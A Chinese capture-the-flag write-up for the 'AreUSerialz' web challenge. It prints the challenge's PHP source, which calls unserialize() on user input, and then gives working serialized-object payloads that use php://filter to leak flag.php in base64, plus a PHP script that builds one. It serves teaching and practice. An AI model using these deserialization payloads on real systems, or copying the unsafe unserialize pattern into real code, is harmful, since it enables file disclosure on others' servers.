【2020年第二届“网鼎杯”网络安全大赛 青龙组】Web AreUSerialz

find the flag

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

反序列化，绕过

二话不说，上playload：

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";N;}

拿去base64解码

PDanID0gImZsYWd7NGVhM2U3YzQtXXXXXXXXXXXXXXXXX==

终于，你想梦寐以求的！日思夜想的！寝食难安的！

<?php

$flag = "flag{XXXXX}";

<?php
class FileHandler {

    protected $op=" 2";
    protected $filename='php://filter/read=convert.base64-encode/resource=flag.php';
    protected $content= "Hello World";

}
$a=new FileHandler();
echo $b=serialize($a);

O:11:"FileHandler":3:{s:5:"*op";s:2:" 2";s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";s:11:"Hello World";}